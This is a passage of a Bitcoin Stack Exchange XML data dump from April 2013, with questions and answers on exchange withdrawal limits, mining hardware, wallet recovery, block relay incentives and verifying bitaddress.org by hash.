  <row Id="9096" PostTypeId="1" AcceptedAnswerId="9097" CreationDate="2013-04-04T02:16:13.113" Score="0" ViewCount="749" Body="&lt;p&gt;Simple question about Mt Gox's terms for &quot;unverified&quot; &quot;level 0&quot; accounts:&#xA;See this URL: &lt;a href=&quot;https://support.mtgox.com/entries/20919111-AML-Account-Statuses&quot; rel=&quot;nofollow&quot;&gt;https://support.mtgox.com/entries/20919111-AML-Account-Statuses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says that the daily limit for USD &quot;or equivalent&quot; is 1000USD.&#xA;And daily limit for bitcoin is 100BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question: if current exchange rate is 100USD/BTC, I can withdraw 100BTC from MtGox to my personal wallet in one day, and then exchange the 100BTC in my wallet for 10,000USD at another exchange, potentially, assuming that another exchaneg will offer me 100USD/BTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On other words, is the daily limit of 1000USD only for withdrawing directly to USD?  Or does it mean that the equivalent of 1000USD (10BTC) is the limit no matter whether I'm withdrawing USD or coins?&lt;/p&gt;&#xA;" OwnerUserId="3896" LastActivityDate="2013-04-04T03:12:05.847" Title="MtGox Daily Withdrawal Limit" Tags="|mtgox|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9097" PostTypeId="2" ParentId="9096" CreationDate="2013-04-04T03:12:05.847" Score="2" Body="&lt;p&gt;The USD limit is only for funds being removed as USD.  They do not value BTC in USD to see if it crosses the limit. &lt;/p&gt;&#xA;" OwnerUserId="3898" LastActivityDate="2013-04-04T03:12:05.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9099" PostTypeId="1" AcceptedAnswerId="9101" CreationDate="2013-04-04T03:44:53.073" Score="-1" ViewCount="2949" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt; says that it's $599 and can do 80GHz per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, it's not sold anymore at butterfly labs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.butterflylabs.com/product-details/&quot; rel=&quot;nofollow&quot;&gt;http://www.butterflylabs.com/product-details/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1498" LastEditorUserId="5406" LastEditDate="2016-04-28T13:57:54.777" LastActivityDate="2016-04-28T13:57:54.777" Title="Where can I buy BitForce SHA256 Single?" Tags="|mining-hardware|" AnswerCount="1" CommentCount="1" ClosedDate="2013-04-14T19:33:31.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="9101" PostTypeId="2" ParentId="9099" CreationDate="2013-04-04T04:30:07.880" Score="1" Body="&lt;p&gt;Actually, the table you linked to says it can do 832 Mhash/s and uses 80 Watts of power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That model is no longer offered by BFL because it used FPGA technology. That technology has now been superseded by ASIC technology which is many times more efficient. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://products.butterflylabs.com/30gh-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; is probably the more recent equivalent product, which provides 30 Ghash/s for $649 (ie 36 times the output for a price 8% higher).&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-04T04:30:07.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9102" PostTypeId="1" CreationDate="2013-04-04T05:52:36.823" Score="1" ViewCount="26431" Body="&lt;p&gt;My husband died recently.  He had a Bitcoin-Qt wallet with some bitcoins.  I don't know the password and the wallet is locked and encrypted.  Is there anyway to regain access to the wallet?&lt;/p&gt;&#xA;" OwnerUserId="3901" LastEditorUserId="2306" LastEditDate="2013-04-04T08:26:14.587" LastActivityDate="2013-04-04T18:02:52.753" Title="How do I recover an encrypted bitcoin wallet to which I don't know the password?" Tags="|wallet|bitcoin-core|" AnswerCount="2" CommentCount="0" ClosedDate="2013-04-07T10:36:05.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="9103" PostTypeId="1" AcceptedAnswerId="9109" CreationDate="2013-04-04T06:07:32.100" Score="0" ViewCount="272" Body="&lt;p&gt;Understanding the motivations for the 21 million BC limit and halving reward rate, I still think it dis-proportionally rewards early adopters. My ideal system would be one where the mining reward is a factor of the work done which would mean as the system increases in popularity (i.e more miners) the corresponding mining reward would increase. This would have a stabilising effect on the price and provide people a reason to spend coins rather than hoard them. Anyone who has tried to work or sell goods in BC's would see the problems it is facing as a currency rather than a commodity. Does anyone know of a Bitcoin alternative with these properties? &lt;/p&gt;&#xA;" OwnerUserId="2349" LastEditorUserId="2349" LastEditDate="2013-04-04T06:45:32.967" LastActivityDate="2013-04-10T05:18:16.860" Title="A Bitcoin alternative with non decreasing reward" Tags="|alternatives|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9104" PostTypeId="2" ParentId="9102" CreationDate="2013-04-04T06:45:28.327" Score="1" Body="&lt;p&gt;There is a discussion about the subject, including a script for password cracking, at &lt;a href=&quot;https://bitcointalk.org/index.php?topic=85495.0;all&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=85495.0;all&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3793" LastActivityDate="2013-04-04T06:45:28.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9105" PostTypeId="2" ParentId="9102" CreationDate="2013-04-04T06:58:00.497" Score="3" Body="&lt;p&gt;Sorry for your loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he used early versions of Bitcoin, he may have made an unencrypted backup of his wallet.dat file somewhere. Cracking a password may be impossible, so this might be your next best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet encryption is a feature that was implemented in &lt;a href=&quot;http://bitcoin.org/releases/2011/09/23/v0.4.0.html&quot; rel=&quot;nofollow&quot;&gt;version 0.4.0&lt;/a&gt; on 23rd Sep 2011, so if you do find a wallet.dat file older than that it's probably not encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin users that are aware they are holding a substantial amount of bitcoins also are probably aware that they need to back their wallet.dat file up to a location different to their PC's hard disk in case of failure. You might find it on a DVD, thumb drive, or maybe somewhere like Google Drive.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-04-04T18:02:52.753" LastActivityDate="2013-04-04T18:02:52.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9107" PostTypeId="1" CreationDate="2013-04-04T07:15:23.250" Score="23" ViewCount="2482" Body="&lt;p&gt;Lets say I'm mining bitcoins, and I've just received a new block that someone else has mined. What encourages me to send that block to anyone else. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can understand how the original miner wants to send the block around the network (so their block becomes part of the chain) but what incentive do &lt;em&gt;other&lt;/em&gt; nodes have to send it around? Wouldn't it be better to not to spread the block, but then build your own block on top of it, in which case you'll then be two blocks ahead and more likely to be added to the chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if everyone does this the result would be terrible, but what incentive is there to encourage people (other than the original miners) to spread blocks besides altruism? &lt;/p&gt;&#xA;" OwnerUserId="3903" LastEditorUserId="5406" LastEditDate="2016-02-08T15:34:09.047" LastActivityDate="2016-02-08T15:34:09.047" Title="What encourages Bitcoin miners to relay blocks?" Tags="|block|network|nodes|relay|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9109" PostTypeId="2" ParentId="9103" CreationDate="2013-04-04T08:17:15.140" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://ppcoin.org/&quot; rel=&quot;nofollow&quot;&gt;PPCoin&lt;/a&gt; appears to have a non-reducing block reward, so that might be what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other alternative cryptocurrencies are listed, with some info on their properties, here:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/List_of_alternative_cryptocurrencies&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2013-04-04T08:17:15.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9110" PostTypeId="1" CreationDate="2013-04-04T08:17:48.840" Score="3" ViewCount="242" Body="&lt;p&gt;It is just numbers and letters? I have transferred my bitcoin address and want to use the key so I can move my coins from this wallet to another? As you may be aware there site is down but can I set this up on another wallet so I can still get my coins?&lt;/p&gt;&#xA;" OwnerUserId="3905" LastEditorUserId="153" LastEditDate="2013-04-04T22:07:24.803" LastActivityDate="2013-04-04T22:07:24.803" Title="Do I have access to the private key for an Instawallet?" Tags="|e-wallet|instawallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9112" PostTypeId="1" AcceptedAnswerId="9115" CreationDate="2013-04-04T08:50:37.120" Score="2" ViewCount="2287" Body="&lt;p&gt;&lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitaddress.org&lt;/a&gt; appears to have a versioning system and a PGP signature to confirm the source code hasn't been hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I save the source code for the page (so I can run it on an offline computer), what steps do I need to take to verify the version I've downloaded matches the signature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes that the signed version of bitaddress.org is not malicious as answered in &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7973/is-javascript-wallet-generator-available-at-bitaddress-org-relatively-secure&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2013-05-10T20:36:19.977" Title="How can I verify the the PGP signature of bitaddress.org?" Tags="|signature|bitaddress.org|pgp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9114" PostTypeId="2" ParentId="9107" CreationDate="2013-04-04T09:49:15.860" Score="4" Body="&lt;p&gt;There's no need for an additional incentive. It's enough that the sender wants to send it and the recipients want to receive it. The miner who found the block wants to get it to as many people as possible so they get the reward. The other miners want to receive it so they can build on a longer chain. That is sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it ever got to be an issue, which I can't imagine it ever being, Bitcoin clients could drop connections to nodes that don't pull their own weight. Thus if you refused to relay blocks to a node, it would refuse to relay blocks to you. Though more likely the solution would simply be for more mining pools to take care to directly interconnect.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-04-04T09:49:15.860" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9115" PostTypeId="2" ParentId="9112" CreationDate="2013-04-04T09:49:29.633" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;who has actually verified the code is not malicious in the first place?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are many eyes on it from cryptographers, javascript programmers and more.  But there has been no commercial party or individual who claims to have vetted the page to assure that there is nothing malicious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as verifying that the website is serving the same release as the version control repository shows, that can be verified as follow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Verify that the BitAddress.org website has been updated and returns the same HTML from the commit with the description vx.x in github:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/pointbiz/bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pointbiz/bitaddress.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an example of verifying in which the version was v2.4:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First check the sha1sum hash of the html returned by a request to &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;http://bitaddress.org&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ wget --quiet -O - http://bitaddress.org|sha1sum&#xA;1d5951f6a04dd5a287ac925da4e626870ee58d60  -&#xA;&#xA;$ GET -eSd bitaddress.org|grep -i &quot;200 OK&quot;&#xA;GET https://www.bitaddress.org/bitaddress.org-v2.4-SHA1-1d5951f6a04dd5a287ac925da4e626870ee58d60.html --&amp;gt; 200 OK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then from my bitaddress.org repo:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git checkout master&#xA;$ git pull&#xA;$ git log --pretty=oneline|grep &quot;v2.4&quot;&#xA;eeed4db91edd9eda5eb4277a61aa16ad80bdcdcb v2.4 French translations&#xA;&#xA;$ git checkout eeed4db91edd9eda5eb4277a61aa16ad80bdcdcb&#xA;$ git rev-list --max-count=1 HEAD&#xA;eeed4db91edd9eda5eb4277a61aa16ad80bdcdcb&#xA;&#xA;$ sha1sum bitaddress.org.html&#xA;1d5951f6a04dd5a287ac925da4e626870ee58d60  bitaddress.org.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As long as that sh1sum matches the filename and also matches from github, then you can you know have the exact same version as was distributed from github.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-04T09:49:29.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9116" PostTypeId="1" CreationDate="2013-04-04T10:06:14.930" Score="1" ViewCount="397" Body="&lt;p&gt;Say a malicious mobile bitcoin client is created, programmed to quickly send two or more double-send transactions whenever a payment is made.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an attack vector we should be concerned of?&lt;br&gt;&#xA;What could be done in order protect against such an attack?&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="117" LastEditDate="2013-04-04T15:05:45.967" LastActivityDate="2013-04-04T15:05:45.967" Title="Can double-spends be automated by malicious custom bitcoin clients?" Tags="|doublespend|" AnswerCount="2" CommentCount="8" ClosedDate="2013-04-16T05:04:13.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="9118" PostTypeId="2" ParentId="4394" CreationDate="2013-04-04T10:29:14.707" Score="5" Body="&lt;p&gt;Here's a script doing just that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo `bitcoin-cli getblockcount 2&amp;gt;&amp;amp;1`/`wget -O - https://blockchain.info/q/getblockcount 2&amp;gt;/dev/null`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="196" LastEditorDisplayName="user10603" LastEditDate="2017-08-15T05:38:26.860" LastActivityDate="2017-08-15T05:38:26.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9120" PostTypeId="2" ParentId="9116" CreationDate="2013-04-04T10:49:43.060" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What could be done in order protect against such an attack?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Wait for N confirmations before accepting a payment as successful.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-04T10:49:43.060" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9121" PostTypeId="2" ParentId="9116" CreationDate="2013-04-04T10:50:28.360" Score="-3" Body="&lt;p&gt;If you try to spend the same coins twice, proper clients won't accept the block as valid.  Read rules 9 and 14 here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_rules#.22tx.22_messages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double-spend could occur if the transaction history forks, but forks don't usually last very long.  Having 6 confirmations after the transaction should be sufficient.&lt;/p&gt;&#xA;" OwnerUserId="1507" LastActivityDate="2013-04-04T10:50:28.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9122" PostTypeId="2" ParentId="9107" CreationDate="2013-04-04T10:53:45.137" Score="16" Body="&lt;p&gt;As long as the block reward is much higher than the transaction fees, this is totally not an issue: mining isn't an incremental process, it's a bruteforce probabilistic one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. in a single moment your chance of solving a block isn't higher if you have been mining that same block for some time: the chance is always the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, once a block is relayed to you, you just add it to the blockchain and start immediately to search for a new block on top of that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the risk of your block being orphaned (currently you'd lose 25BTC ~= 3750€) is many orders of magnitude higher than the cost of relaying it (I'd estimate it a bunch of satoshis), it is always more convenient to relay it.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="1307" LastEditDate="2013-04-29T13:52:40.117" LastActivityDate="2013-04-29T13:52:40.117" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9126" PostTypeId="1" CreationDate="2013-04-04T13:45:29.010" Score="-4" ViewCount="743" Body="&lt;p&gt;I would appreciate if anyone could please help me as I didn't have any experiences with Bitcoin yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to charge my clients' credit cards. The funds would come to my USA bank account (should not matter if its personal or business). Is this possible? So instead of using some kind of 'ewallet,' funds would be instantly transferred/sent to my USA bank account FROM clients' credit cards. Then, I enter the cards details. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="3914" LastEditorUserId="2306" LastEditDate="2013-04-04T22:27:25.693" LastActivityDate="2013-04-04T23:01:53.877" Title="How can I charge my customer's credit cards, then deposit funds in my bank account using bitcoin?" Tags="|transactions|payment|payment-processors|" AnswerCount="2" CommentCount="3" ClosedDate="2013-04-21T09:25:50.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="9127" PostTypeId="1" AcceptedAnswerId="38964" CreationDate="2013-04-04T13:55:04.843" Score="17" ViewCount="52253" Body="&lt;p&gt;I have somewhere in my hard disks some copies of old wallets which I need to analyse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea was importing them into blockchain.info, but to do that apparently you need to dump them with pywallet.py, which is one of the worst pieces of software I've recently put my hands on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. either one software which given (via command line) &lt;strong&gt;the full path of the file&lt;/strong&gt;, will dump something that blockchain.info can import, or something that at least given a wallet (again, full path via command line) will dump all the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: this has to work for encrypted wallets too, asking the password either at runtime (would be better) or at the command line.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="2306" LastEditDate="2015-03-13T14:44:52.717" LastActivityDate="2020-04-11T16:36:04.027" Title="Dumping private keys from wallet.dat from command line (pywallet.py alternatives)" Tags="|blockchain.info|wallet.dat|wallet-import|" AnswerCount="7" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9128" PostTypeId="1" CreationDate="2013-04-04T14:10:52.757" Score="3" ViewCount="71554" Body="&lt;p&gt;I am trying to setup &lt;a href=&quot;https://en.bitcoin.it/wiki/Poclbm-gui&quot; rel=&quot;nofollow&quot;&gt;GUIMiner&lt;/a&gt; together with mining.bitcoin.cz. As I am working on a laptop with an Intel graphic card I am (probably?) unable to use GPU mining. So, just for a test, I tried to run GUIMiner without GPU support, that is as a CPU miner (if this is the correct word).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the &lt;code&gt;start mining&lt;/code&gt; button doesn't seem to make anything run. I might be mistaken, but the lower right corner of the application keeps saying &lt;code&gt;stopped&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;console&lt;/em&gt; tab says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2013-04-03 17:51:51: Running command: poclbm.exe &lt;strong&gt;&lt;em&gt;:&lt;/em&gt;&lt;/strong&gt;@api2.bitcoin.cz:8332 --device=0 --platform=0 --verbose -r1` &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But no error message, either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I go to cmd.exe and copy &lt;code&gt;poclbm.exe ***:***@api2.bitcoin.cz:8332 --device=0 --platform=0 --verbose -r1&lt;/code&gt;. This results in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No PyOpenCL&#xA;Not using OpenCL&#xA;Nothing to mine on, exiting&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which can be taken as an error message. I believe that &quot;OpenCL&quot; indicates that the program wants to use a GPU (although) I am not sure. I just want to test the mining functionality and see if I can particiapte in the mining pool, at the moment without graphic card, only the CPU. Is this somehow possible?&lt;/p&gt;&#xA;" OwnerUserId="3866" LastEditorUserId="5406" LastEditDate="2016-04-09T07:46:25.967" LastActivityDate="2016-04-09T07:46:25.967" Title="How can I make GUIMiner use the CPU for mining?" Tags="|mining-pools|miner-configuration|cpu-mining|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9129" PostTypeId="2" ParentId="9126" CreationDate="2013-04-04T14:14:19.440" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt; allows you to accept payments in bitcoins receiving any combination of hard currency and bitcoins (you can chose 100% hard currency if you want).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is what you want, but honestly your post is so confused it's hard to tell: if this is not what you are looking for, please try to be more clear (no offence intended, of course).&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-04-04T14:14:19.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9132" PostTypeId="2" ParentId="8872" CreationDate="2013-04-04T14:50:35.397" Score="1" Body="&lt;p&gt;They have promised a more extensive giveaway when it's out of beta. There's also some people selling them outside Ripple itself. Here, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitmit.net/en/item/23007-321-free-ripples-to-get-you-started-321-xrps#&quot; rel=&quot;nofollow&quot;&gt;https://www.bitmit.net/en/item/23007-321-free-ripples-to-get-you-started-321-xrps#&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here &lt;a href=&quot;https://xrptrader.com/login&quot; rel=&quot;nofollow&quot;&gt;https://xrptrader.com/login&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here &lt;a href=&quot;http://buyxrp.net&quot; rel=&quot;nofollow&quot;&gt;http://buyxrp.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They've also promised that there will be an easier way to buy them soon, but without much details.&#xA;Some people in the ripple forum are lending some of them interest free so you can buy your own within the system and pay back. I think they expect you to do the same for another newbie later.&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="4451" LastEditDate="2013-10-05T05:25:50.207" LastActivityDate="2013-10-05T05:25:50.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9136" PostTypeId="2" ParentId="9128" CreationDate="2013-04-04T17:45:02.473" Score="3" Body="&lt;p&gt;If you start the bitcoin-qt client from the command line with the &lt;code&gt;bitcoin-qt.exe -gen 1&lt;/code&gt; command, then it will generate bitcoins using your CPU. Alternately, use &lt;a href=&quot;https://github.com/jgarzik/cpuminer&quot; rel=&quot;nofollow&quot;&gt;cpuminer&lt;/a&gt;. (&lt;a href=&quot;http://yyz.us/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Builds&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-04-04T17:45:02.473" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9138" PostTypeId="1" CreationDate="2013-04-04T19:04:39.947" Score="-2" ViewCount="472" Body="&lt;p&gt;Are the various services that give out “free Bitcoins” really giving out air? The amounts are tiny and the transaction fee is way higher due to all the tiny transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take Bitvisitor as an example. 8 mBTC for viewing an ad is an amount so small that you cannot ever hope to give it on to anyone else while transaction fees in the clients are as &lt;em&gt;high&lt;/em&gt; as they are now.&lt;/p&gt;&#xA;" OwnerUserId="3735" LastActivityDate="2014-04-15T17:36:24.690" Title="“Free Bitcoins” usless due to high fees" Tags="|transaction-fees|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9139" PostTypeId="2" ParentId="4394" CreationDate="2013-04-04T19:17:02.717" Score="3" Body="&lt;p&gt;Run &lt;code&gt;bitcoind getblocktemplate&lt;/code&gt;. If you're not caught up, then it will come back with an error of &lt;code&gt;-10&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-18T05:22:10.367" LastActivityDate="2014-11-18T05:22:10.367" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9141" PostTypeId="2" ParentId="9138" CreationDate="2013-04-04T19:53:19.240" Score="1" Body="&lt;p&gt;Some pages delay the transactions and realize them all in one &lt;a href=&quot;https://blockchain.info/address/1DFyxn6zpa2wMV1giWPwyG1C4ZacjmWDPw&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1DFyxn6zpa2wMV1giWPwyG1C4ZacjmWDPw&lt;/a&gt;, some pays fees, other don't pay, but it only affects the confirmation time.&lt;/p&gt;&#xA;" OwnerUserId="3922" LastActivityDate="2013-04-04T19:53:19.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9142" PostTypeId="1" AcceptedAnswerId="9144" CreationDate="2013-04-04T20:19:41.960" Score="1" ViewCount="596" Body="&lt;p&gt;As I understand, when Bitcoins are created the beneficiary's Bitcoin address is made public. Likewise, when Bitcoins are transfered, both the source and destination Bitcoin addresses are made public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the above, it seems that the balance of every Bitcoin address can theoretically be inferred from the public logs. Is this true? Moreover, are there lists of all Bitcoin addresses with a non-zero balance, together with the associated balances?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastEditorUserId="3837" LastEditDate="2013-04-04T20:45:59.983" LastActivityDate="2013-04-05T18:11:48.873" Title="Compute the balance of every address" Tags="|address|balance|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9144" PostTypeId="2" ParentId="9142" CreationDate="2013-04-04T20:29:01.403" Score="1" Body="&lt;p&gt;There is a site for that: &lt;a href=&quot;http://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/&lt;/a&gt;&#xA;Here you will find every balance for every address.&lt;/p&gt;&#xA;" OwnerUserId="2955" LastActivityDate="2013-04-04T20:29:01.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9146" PostTypeId="2" ParentId="3851" CreationDate="2013-04-04T21:10:57.483" Score="-2" Body="&lt;p&gt;Well then, what needs to be happening is similar digital currencies appearing periodically along the way because future generations should also have the ability to mine newly formed currencies so that they can enjoy the freedoms we can now. Silver runs alongside gold, never as valuable, but surely as effective a resource to be traded for goods and services. Likewise other digital currencies, should be freely capable of running alongside bitcoins for future generations to enjoy the value of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps though, due to the lack of intrinsic value of any digital currency, which is essentially as great as the next massive EMP blast, the new digital currency should perhaps wait until bitcoins have grown substantially in value before lending itself as another easier currency to mine. And there should always be exchange rates between the individual digital currencies. However, we must be careful to avoid what was caused by having the gold and silver standards of our nation's past, provided popularity of digital currencies allows for such a problem as what happened back then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I think that this is a great model. It's literally modeled after gold and oil, both of which are finite resources that have substantial value. One has been used as actual money and a measure of past national economies while the other has been used as a commodity more so than money simply because it is not readily available and traded for goods and services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone, please remember, bitcoins are digital, their intrinsic value is less than nothing because they essentially are absolutely nothing. This means that in order for them to be worth anything, very similar to our Federal Reserve Notes that we color green in this nation, someone has to be willing to trade viable currency for them or to take them in trade for goods and services. They're not like gold or silver, which are physical materials that anywhere in the world would generally take in trade for goods and services at a time when there was lacking an official currency.&lt;/p&gt;&#xA;" OwnerUserId="3928" LastActivityDate="2013-04-04T21:10:57.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9147" PostTypeId="1" AcceptedAnswerId="9152" CreationDate="2013-04-04T21:27:11.787" Score="17" ViewCount="4683" Body="&lt;p&gt;I'm trying to read raw transactions but there is a problem; Seems like getrawtransaction only works for recent transactions, old transactions give me the next error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;No information available about transaction (code -5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is that? How can i see raw transactions from old transactions? When i say &quot;old&quot; its like from 5 days ago. I really need those transactions to get the sender addresses for each one, if &quot;aging&quot; is the case i can keep that data in my own database before it gets old but...Maybe it's not about old/new transactions, maybe there is another factor that won't let me read some raw transactions, you guys know something about that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I'm using the command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getrawtransaction 